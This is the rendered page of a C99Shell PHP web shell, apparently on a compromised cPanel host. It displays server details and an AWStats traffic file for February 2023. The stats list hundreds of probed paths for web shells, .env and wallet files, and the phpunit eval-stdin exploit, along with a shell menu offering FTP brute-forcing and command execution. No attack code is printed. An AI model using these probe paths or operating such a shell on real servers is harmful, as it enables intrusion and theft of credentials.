!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/tmp/awstats/   drwx------
Free 236.97 GB of 981.82 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     awstats022023.17507765-18-20171030205522.webstarterz.com.txt (23.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202302 will be lost/reset.
# Last config file used to build this data file was /home/cp949260/tmp/awstats/awstats.17507765-18-20171030205522.webstarterz.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2039                
POS_TIME 2712                
POS_VISITOR 21717               
POS_DAY 23297               
POS_DOMAIN 3277                
POS_LOGIN 3632                
POS_ROBOT 3787                
POS_WORMS 3988                
POS_EMAILSENDER 4119                
POS_EMAILRECEIVER 4262                
POS_SESSION 23702               
POS_SIDER 23871               
POS_FILETYPES 4397                
POS_DOWNLOADS 4510                
POS_OS 4847                
POS_BROWSER 5013                
POS_SCREENSIZE 5323                
POS_UNKNOWNREFERER 5397                
POS_UNKNOWNREFERERBROWSER 6047                
POS_ORIGIN 6505                
POS_SEREFERRALS 6639                
POS_PAGEREFS 6802                
POS_SEARCHWORDS 6950                
POS_KEYWORDS 7102                
POS_MISC 2376                
POS_ERRORS 7161                
POS_CLUSTER 3488                
POS_SIDER_404 7258                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230301004248 2 349 8573388259467
FirstTime 20230201191314
LastTime 20230228212909
LastUpdate 20230301205049 2 0 1 0 0
TotalVisits 40                  
TotalUnique 38                  
MonthHostsKnown 0                   
MonthHostsUnknown 40                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
TotalMisc 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
JavaEnabled 0 0 0
DirectorSupport 0 0 0
AddToFavourites 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 0 0 0 1 1 2116
1 2 2 4232 2 2 0
2 4 4 9007 82 113 0
3 0 0 0 1 1 0
4 0 0 0 2 2 0
5 2 11 5067 75 101 0
6 1 1 2116 1 1 0
7 4 4 9007 64 66 0
8 0 0 0 1 1 0
9 0 0 0 1 1 0
10 1 1 2116 0 0 0
11 2 2 4594 0 0 0
12 2 2 4413 0 0 0
13 13 13 151524 0 1 0
14 1 1 2297 0 0 0
15 0 0 0 1 1 2297
16 3 3 16970 12 12 0
17 2 2 4413 578 578 2116
18 1 1 2297 2 2 0
19 3 3 6529 1 2 0
20 0 0 0 0 0 0
21 1 1 2297 4 4 0
22 3 3 6891 9 9 0
23 14 14 90442 18 18 1171
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 11
us 24 24 185404
ca 10 10 21884
gb 7 10 45461
cn 6 6 13239
fr 3 3 6891
be 3 3 6348
jp 2 8 15277
nl 1 1 7427
in 1 1 7427
ru 1 1 7427
bg 1 1 7427
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 2
no_user_agent 2 4413 20230225154133 0
survey 1 2116 20230203005819 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 3
php 4 29708 0 0
txt 9 654 0 0
html 55 293850 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 4
/.well-known/pki-validation/0D99B32090517EDC0B8267C6906CDB37.txt 6 0 462
/.well-known/pki-validation/DB403E6E8981A56FBF692F433AF01042.txt 1 0 64
/.well-known/pki-validation/BD98D06D5B51A07BB3452A3B102ADB69.txt 1 0 64
/.well-known/pki-validation/B7B6249F321C46B65EDFB4A9F319082E.txt 1 0 64
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 8
win10 15 15
macosx7 1 1
linuxubuntu 3 3
macosx15 1 1
win7 16 16
linux 2 2
macosx11 4 4
Unknown 26 17
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 14
mozilla 6 6
chrome90.0.4430.85 2 2
chrome108.0.0.0 1 1
msie10.0 14 14
chrome49.0.2623.112 1 1
chrome63.0.3239.132 1 1
firefox58.0 3 3
Unknown 20 11
chrome84.0.4147.105 1 1
msie7.0 1 1
firefox47.0 4 4
firefox78.0 11 11
chrome110.0.5481.77 2 2
safari15.6.1 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 6
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230228212909
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20230217025638
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20230226130423
COMODO_DCV 20230217054313
python-requests/2.28.2 20230217134641
Sectigo_DCV 20230217054322
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 4
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230228212909
COMODO_DCV 20230217054313
python-requests/2.28.2 20230217134641
Sectigo_DCV 20230217054322
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 42 51
From1 2 2
From2 1 1
From3 0 0
From4 14 14
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 2
404 905 0
301 4 1171
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 518
/if.php 1 -
/sh3ll.php 1 -
/public_html.zip 2 -
/1975.php 2 -
/.tmb/wp-logo.php 1 -
/777.php 2 -
/new.php 2 -
//api/.env 1 https://www.google.com/
/v2.zip 2 -
/.database.env 2 -
/wp-includes/images/wp-blog.php 2 -
/songdaohospital.go.th/index.php 1 http://www.17507765-18-20171030205522.webstarterz.com/songdaohospital.go.th/index.php
/fox.php 2 -
/gvqqpinc.php 1 -
/assets/images/default/moon.php 1 -
/3index.php 2 -
/kz.php 1 -
/.well-known/pki-validation/admin.php 1 -
/wp-admin.php 2 -
/thisallday.com/index.html 1 http://www.17507765-18-20171030205522.webstarterz.com/thisallday.com/index.html
/thisallday.com/index.php 1 http://www.17507765-18-20171030205522.webstarterz.com/thisallday.com/index.php
/dev.env 2 -
/wp-login.php 28 -
/wp-content/uploads/2021/12/fw.php 2 -
/wp-admin/includes/readindex.php 1 -
/alexus-mailer.php 1 -
/.old.env 2 -
/alfav4.1-tesla.php 2 -
/v1.zip 2 -
/wp-load.php 2 -
/wp-adminsetup-config.php 2 -
/nf_tracking.php 1 -
//blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/l.php 2 -
//lib/.env 1 https://www.google.com/
/alex.php 2 -
/shell20220621.php 2 -
/wp-includes/customize/class-wp-customize-nav-menu.php 2 -
/rahma.php 2 -
/cronlab/.env 2 -
/api.zip 2 -
/403.php 4 -
/wp-admin/radio.php 2 -
/server-status 2 -
/.env.bkp 2 -
/wp-content/uploads/small.php 1 -
/mar.php 2 -
/0z.php 2 -
/error.php 4 -
/kn.php 1 -
/dr.php 2 -
/x.php 4 -
/lib/.env 2 -
/old.zip 2 -
/bypass.php 2 -
//vendor/phpunit/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
//web/.env 1 https://www.google.com/
//wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/small.php 2 -
//lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/wordpress/wp-admin/setup-config.php 1 -
/wp-cache.php 2 -
/backup.zip 2 -
/wso1.php 2 -
/wp-content/index.php 1 -
//v2/.env 1 https://www.google.com/
/sendmail.php 2 -
/m.php 2 -
/wp-content/wp-admin.php 2 -
/keys.json 2 -
/cms.php 2 -
/songdaohospital.go.th/index.html 1 http://www.17507765-18-20171030205522.webstarterz.com/songdaohospital.go.th/index.html
/u.php 2 -
/lol.php 1 -
/wallet.json 2 -
/thisallday.com/ 1 http://www.17507765-18-20171030205522.webstarterz.com/thisallday.com/
/wp-contentfw.php 2 -
/old-site/contral.php 1 -
//wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/alfa.php 4 -
/wp-content/fw.php 2 -
/wp-admin/css/colors/coffee/fw.php 2 -
/utchiha505.php 1 -
/apps/.env 2 -
/1.php 4 -
/exapi/.env 2 -
/priv8.php 2 -
/administrator/.env 2 -
//psnlink/.env 1 https://www.google.com/
/wp-admin/includes/class-wp-media-list-data.php 1 -
//wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/FoxWSO.php 2 -
/web-variables.env 2 -
/it.php 2 -
//assets/.env 1 https://www.google.com/
/css/image/css.php 1 -
/j.php 1 -
/osbxamip.php 1 -
/.env.production 2 -
/wp/wp-content/themes/seotheme/mar.php 2 -
/a.php 2 -
/wp-admin/css/colors/midnight/wp-crons.php 1 -
/.debug.env 2 -
/123.php 1 -
/good.php 2 -
/wp-info.php 2 -
/ok.php 2 -
/uploads/contexmini.php 2 -
/bkv74.php 1 -
/uploads/dst.php 1 -
/alwso.php 1 -
/wp-includes/radio.php 2 -
/wp-story.php 1 -
/about.php 2 -
/haxor.php 1 -
/admin/.env 2 -
/wp-admin/x.php 2 -
/www.php 2 -
/wp-content/wp.php 2 -
/main.env 2 -
//exapi/.env 1 https://www.google.com/
/core/.env 2 -
/www.zip 2 -
/backup/in1/resume/priv.php 1 -
/fx.php 2 -
/wi.php 1 -
/uploads/.env 2 -
/images/vuln.php 2 -
/wp-content/themes/gaukingo/db.php 2 -
/cron/.env 2 -
/configs.zip 2 -
//cronlab/.env 1 https://www.google.com/
/utchiha.php 2 -
/kiss.php 2 -
/wp-includes/sys.php 1 -
//site/.env 1 https://www.google.com/
/tokenlite.zip 2 -
/z.php 2 -
/wp_wrong_datlib.phpwp-includes/fw.php 2 -
//vendor/.env 1 https://www.google.com/
//lib/phpunit/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
/xmlrpcs.php 2 -
/wp-admin/includes/media-site.php 1 -
/databases.zip 2 -
/shx.php 2 -
/videoexpertstudio.com/.well-known 1 http://www.17507765-18-20171030205522.webstarterz.com/videoexpertstudio.com/.well-known
/d.php 1 -
/.db.env 2 -
/autoload_classmap.php 2 -
/wp-class.php 2 -
/wp-content/wp-logins.php 2 -
//sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/data.php 2 -
/config/.env 2 -
/config.json 2 -
/wp-content/plugins/dzs-zoomsounds/a57bze8931.php 1 -
/xx.php 4 -
//phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/fa.php 1 -
/public/.env 2 -
/WSO.php 1 -
//app/.env 1 https://www.google.com/
/leafmailer2.8.php 2 -
/wp-admin/includes/mar.php 1 -
/app/.env 2 -
//uploads/.env 1 https://www.google.com/
/wp-configer.php 2 -
/wp-admin/includes/maint/wp-cron.php 1 -
/style.php 2 -
/2.php 2 -
/config.env 2 -
/wp-content/uploads/readindex.php 1 -
/wp-content/includes/uploads/Va.php 1 -
/wp-content/about.php 2 -
/wp-content/themes/gaukingo/mar.php 2 -
/.tmb/radio.php 1 -
/wp-ahmed.php 2 -
/wp-includes/css/wp-atom.phpmodules/modules/modules.php 2 -
/wp-admin/css/index.phpwp-includes/css/wp.php 2 -
//sitemaps/.env 1 https://www.google.com/
/y.php 2 -
/test/wp-content/themes/seotheme/mar.php 2 -
/lufix.php 2 -
/edit-form.php 2 -
/radio.php 2 -
/xleet-shell.php 2 -
/assets/images/users/install.php 1 -
/anone.php 2 -
//public/.env 1 https://www.google.com/
/v.php 1 -
/secrets.json 2 -
/krz.php 1 -
/wp-admin/fw.php 2 -
/Gel4y.php 1 -
/plugins/ajs.delivery.php 1 -
//phpunit/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
/htdocs.zip 2 -
/e.php 2 -
/media-admin.php 2 -
//protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/.elastic.env 2 -
/b2.php 1 -
/backups.zip 1 -
/mini.php 4 -
/wp-content/plugins/seoplugins/mar.php 2 -
/404.php 4 -
/xleet.php 2 -
/02.php 2 -
/module.zip 2 -
/beta.zip 2 -
/ohayo.php 2 -
/wp-content/plugins/config.bak.php 2 -
/wp-content/themes/seotheme/db.php 2 -
/wp-adminxleet.php 2 -
/export.php 2 -
/wsa.php 2 -
/kindex.php 1 -
/01.php 2 -
/wp-includes/wp-atom.php 2 -
/file.php 1 -
/f.php 2 -
/wp-admin/includes/edit-tag-menu.php 1 -
//vendor/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
/wp-setups.php 1 -
/xox.php 2 -
//dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/alf.php 1 -
//old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/vuln.php 2 -
/ws.php 2 -
/web/.env 2 -
//core/.env 1 https://www.google.com/
/wso1337.php 2 -
//lab/.env 1 https://www.google.com/
/c99.php 1 -
/admin/controller/extension/extension/ 2 binance.com
/4price.php 2 -
/blog/wp-content/themes/seotheme/mar.php 2 -
/install.zip 2 -
/wordpress/wp-content/themes/seotheme/mar.php 2 -
/wp-adminpriv8.php 2 -
/100.php 2 -
/.tmb/cache/shz.php 2 -
//vendor/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/debug/default/view 2 -
/run.zip 2 -
/sym.php 2 -
/.debug 2 -
//admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/up.php 4 -
/o.php 2 -
/config.zip 2 -
/account.json 2 -
/.well-known/pki-validation/utchiha505.php 1 -
//saas/.env 1 https://www.google.com/
/.production 3 https://www.google.com/
/app.env 1 -
/wp-content/radio.php 2 -
/fw.php 4 -
/s.php 2 -
/site/wp-content/themes/seotheme/mar.php 2 -
//core/app/.env 1 https://www.google.com/
//cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/.nginx.env 2 -
/wso112233.php 2 -
/41.php 2 -
/mari.php 2 -
/app.config.env 2 -
/c.php 2 -
//database/.env 1 https://www.google.com/
/.web.env 2 -
/wp-adminrss.php 2 -
/mt/pekok.php 2 -
/wp_wrong_datlib.php 2 -
/indoxploit.php 1 -
/2index.php 2 -
/lab/.env 2 -
/wp-admin/css/ 2 binance.com
//config/.env 1 https://www.google.com/
/q.php 1 -
/crgrvnkb.php 1 -
/.env.dev 2 -
/blog.php 2 -
//phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
/w.php 3 -
/.env.bak 2 -
/.env.local 2 -
/wp/rahma.php 2 -
//core/Datavase/.env 1 https://www.google.com/
/files/ 2 binance.com
/.env.prod 2 -
/upload.zip 2 -
/sym403.php 2 -
/.env.development 1 -
//laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/mi.php 1 -
/wikindex.php 4 -
/Gel.php 2 -
/robots.txt 2 -
/wp-one.php 2 -
/wp2.php 2 -
/upload.php 2 -
//en/.env 1 https://www.google.com/
/doc.php 2 -
/tmpuploads.php 2 -
/.mysql.env 2 -
/videoexpertstudio.com/index.html 1 http://www.17507765-18-20171030205522.webstarterz.com/videoexpertstudio.com/index.html
/.tmb/filellli7.php 1 -
/wp-includes/css/css.php 2 -
/wp-admin/includes/maint/repair-bak.php 1 -
/wp-ad.php 1 -
/leaf.php 2 -
/wp-rss.php 2 -
/wp-2019.php 2 -
/xltavrat.php 2 -
/ALFA_DATA/alfacgiapi/perl.alfa 1 -
//panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/wp-file.php 1 -
/wp-content/wso.php 2 -
/rss.php 1 -
/html.zip 2 -
/app.zip 2 -
//demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/.env.backup 2 -
/ne.php 2 -
//lib/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/cpanel.php 1 -
/xmlrpc.php 1 -
/wp-includes/css/xm.php 2 -
/Cpanel.php 1 -
/ff.php 2 -
/g.php 1 -
/new-index.php 2 -
/owl.php 2 -
/wp-SEo.php 2 -
/0.php 2 -
/secret.json 2 -
/b.php 2 -
//tools/.env 1 https://www.google.com/
/sindex.php 2 -
/alfacgiapi/utchiha505.php 1 -
/wp-content/kro.php 1 -
/ups.php 4 -
/wp-includes/wp-class.php 2 -
/.env.copy 1 -
/.git/config 2 -
/en/.env 2 -
/license.php 2 -
/alexuse.php 1 -
/Uploader.php 2 -
/script.zip 2 -
/carsfreedowns.com/index.php 1 http://www.17507765-18-20171030205522.webstarterz.com/carsfreedowns.com/index.php
//cron/.env 1 https://www.google.com/
/wp-content/themes/seotheme/mar.php 2 -
//admin/.env 1 https://www.google.com/
/srx.php 2 -
/database.zip 1 -
/11index.php 1 -
/database/.env 2 -
/info.php 1 -
/wp-0.php 2 -
/alfa 2 -
/modules/mod_ariimageslidersa/mod_ariimageslidersa.php 1 -
/r.php 2 -
/composer.json 2 -
/olu.php 1 -
/1h6j5.php 2 -
/phpinfo.php 1 -
/k.php 2 -
/marijuana.php 2 -
/uploads/ 2 binance.com
/h.php 2 -
/ffmkpcal.php 1 -
/.django.env 2 -
/source.zip 2 -
/old-index.php 2 -
/root.php 1 -
/.fk.php 2 -
/bb.php 2 -
/shell.php 2 -
//www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/alfacgiapi/perl.alfa 1 -
/!.php 1 -
/send.php 2 -
/admin/uploads/vu.php 1 -
/.env.staging 2 -
/admin/uploads/alfa.php 1 -
/modules/mod_araticlws/mod_araticlws.php 1 -
/myconf.env 2 -
/byp.php 2 -
/adminer.php 1 -
/5.php 2 -
/vita.php 1 -
//phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/FoxWSOv1.php 1 -
/xindex.php 2 -
/videoexpertstudio.com/ 1 http://www.17507765-18-20171030205522.webstarterz.com/videoexpertstudio.com/
/assets/.env 2 -
/wp-blog.php 2 -
/.env.new 2 -
/wp-confirm.php 2 -
/wp-admin/includes/maint/wp-readindex.php 1 -
/7yn.php 1 -
/carsfreedowns.com/index.html 1 http://www.17507765-18-20171030205522.webstarterz.com/carsfreedowns.com/index.html
/wp-reset.php 1 -
/db.zip 2 -
/.postgres.env 2 -
//apps/.env 1 https://www.google.com/
/laravel/.env 2 -
//lib/phpunit/Util/PHP/eval-stdin.php 1 https://www.google.com/
/wp-content/uploads/typehub/custom/madexploit/.madshell.php 1 -
/alexus.php 2 -
/tools/.env 2 -
/nee.php 1 -
//new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/1337.php 2 -
/api/.env 2 -
/wp-content/plugins/randominit.php 2 -
/code.zip 1 -
/wp-admin/includes/block-line.php 1 -
//wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/i.php 4 -
/content.php 2 -
/wp-22.php 2 -
/old/wp-admin/setup-config.php 1 -
/MARIJUANA.php 2 -
//laravel/.env 1 https://www.google.com/
/wp-includes/IXR/hunt.php 2 -
/wp-content/plugins/fighter/fk.php 2 -
//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
//v1/.env 1 https://www.google.com/
/images/ 2 binance.com
/dotenv.env 2 -
/wso2.php 1 -
/3.php 2 -
/.tmb/utchiha505.php 1 -
/configuration.zip 2 -
/stindex.php 2 -
/wp.php 4 -
/wp-admin/admin-ajax.php 1 -
/baindex.php 2 -
/wallets.json 2 -
/mrjn.php 1 -
/uploadsxleet.php 2 -
/wp-wso.php 2 -
/p.php 3 -
/.local 3 https://www.google.com/
/.env 3 https://www.google.com/
/uploads.zip 2 -
/indeeex.php 2 -
/lf.php 1 -
/xxx.php 1 -
/accounts.json 2 -
/sites/default/files/ 2 binance.com
/wp-admin/includes/tablepress_controllers.php 1 -
/alexusmailer2.0.php 1 -
/cp.php 1 -
/.remote 3 https://www.google.com/
/.env.remote 2 -
/wp-includes/991176.php 2 -
/site/.env 2 -
/.apache.env 2 -
/xo.php 1 -
/.laravel.env 2 -
/13.php 1 -
/plugins/auto/thickbox2/pat.php 1 -
/8.php 2 -
/n.php 1 -
/.well-known/acme-challenge/dist-block-rss.php 1 -
/admin.php 4 -
/wp-content/uploads/2021/12/up.php 2 -
/hello.php 3 -
/wp-admin/maint/about.php 2 -
/vendor/.env 1 -
/XxX.php 2 -
/thisallday.com/.well-known 1 http://www.17507765-18-20171030205522.webstarterz.com/thisallday.com/.well-known
/scripts.zip 2 -
/mailer.php 2 -
/wp-admin/css/modern/colors.css.php 1 -
/jindex.php 2 -
/dev.zip 2 -
/config/config.json 2 -
/wp-uploads.php 2 -
/gank.php.PhP 2 -
/driver-carfe.com/ 1 http://www.17507765-18-20171030205522.webstarterz.com/driver-carfe.com/
/.vscode/sftp.json 2 -
/includes/up.php 1 -
/wp-adminfx.php 2 -
/olux.php 1 -
/wp-includes1index.php 2 -
/v1/.env 2 -
/87.php 1 -
/wso.php 4 -
/Sendemail.php 1 -
/0byte.php 2 -
/axx.php 2 -
/core/app/.env 2 -
//api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 https://www.google.com/
/1index.php 2 -
/nasgor.php 2 -
/saas/.env 2 -
/ 1 https://www.google.com/
/key.json 2 -
/wp-includes/rest-api/oldindex.php 1 -
/songdaohospital.go.th/ 1 http://www.17507765-18-20171030205522.webstarterz.com/songdaohospital.go.th/
/v2/.env 2 -
/wp-content/plugins/ioptimization/IOptimize.php 2 -
/images/cmd.php 1 -
/kk.php 1 -
/videoexpertstudio.com/index.php 1 http://www.17507765-18-20171030205522.webstarterz.com/videoexpertstudio.com/index.php
/swm.php 2 -
/defau1t.php 2 -
/t.php 2 -
/Deadcode1975xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php 2 -
//administrator/.env 1 https://www.google.com/
/.cgi/cache/index.php 2 -
/sitemaps/.env 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 40
34.77.127.183 11 11 146930 20230217134646
92.10.124.53 7 7 45230 20230219234554
101.68.211.2 3 3 6529 20230222182858
43.153.3.67 2 2 14854 20230208162805
183.136.225.44 2 2 4594 20230228024359
65.154.226.166 2 2 4594 20230217114948
15.236.154.111 1 1 7449 20230219233901
84.252.95.137 1 1 7427 20230219234555
167.248.133.120 1 1 2297 20230226073130
87.236.176.105 1 1 2116 20230213011304
205.210.31.25 1 1 2297 20230224125446
192.42.116.179 1 1 7427 20230219233111
205.210.31.13 1 1 2297 20230228212909
51.255.62.10 1 1 2297 20230217224700
87.236.176.148 1 1 2116 20230212195034
87.236.176.160 1 1 2116 20230217025638
103.176.152.25 1 1 7427 20230219232339
185.242.7.134 1 1 7427 20230219232335
3.95.223.181 1 1 2297 20230227021649
198.235.24.146 1 1 2116 20230201191314
159.223.73.117 1 1 2297 20230226073419
106.75.166.241 1 1 2116 20230215072908
205.210.31.138 1 1 2116 20230204014938
198.235.24.57 1 1 2116 20230204103321
205.210.31.139 1 1 2297 20230221142049
91.199.212.132 0 3 231 
163.44.198.51 0 6 423 
198.235.24.16 1 1 2116 20230210172945
216.151.183.3 1 1 7427 20230219234613
51.255.62.2 1 1 2297 20230217224700
45.88.97.235 1 1 628 20230219232335
35.206.194.63 1 1 2297 20230225194611
51.255.62.1 1 1 2297 20230217224700
167.248.133.62 1 1 2297 20230218072514
34.76.158.233 1 1 2297 20230217134641
18.224.138.178 1 1 2297 20230226051750
198.235.24.168 1 1 2116 20230215122314
198.235.24.140 1 1 2116 20230208160101
198.235.24.166 1 1 2297 20230218175635
167.248.133.190 1 1 2297 20230226130423
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 17
20230201 1 1 2116 1
20230204 2 2 4232 2
20230208 3 3 16970 2
20230210 1 1 2116 1
20230212 3 3 6348 3
20230213 1 1 2116 1
20230215 2 2 4232 2
20230217 18 27 163482 7
20230218 2 2 4594 2
20230219 14 14 90442 8
20230221 1 1 2297 1
20230222 1 1 2297 1
20230224 1 1 2297 1
20230225 1 1 2297 1
20230226 4 4 9188 4
20230227 1 1 2297 1
20230228 3 3 6891 2
END_DAY

# Session range - Number of visits
BEGIN_SESSION 3
0s-30s 38
30s-2mn 1
15mn-30mn 1
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 17
/ 33 73629 31 30
/teacherforthailand.com/ 3 22303 2 2
/thanawanresort.com/ 3 22303 0 1
/khaosangsuk.com/ 3 22303 1 2
/carsfreedowns.com/ 2 1248 1 0
/noenthonggarden.com/ 2 1256 1 1
/.well-known/ 2 14854 1 1
/thanawanresort.com/index.php 2 14854 1 1
/khaosangsuk.com/index.php 1 7427 1 1
/teacherforthailand.com/.well-known/ 1 7427 0 0
/khaosangsuk.com/.well-known/ 1 7427 1 1
/mgprodee.com/ 1 58779 0 0
/krudolly.com/ 1 614 0 0
/mophlawyer.com/ 1 23374 0 0
/krupimhomecenter.com/ 1 264 0 0
/phbcoop.com/ 1 38069 0 0
/teacherforthailand.com/index.php 1 7427 0 0
END_SIDER

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0325 ]--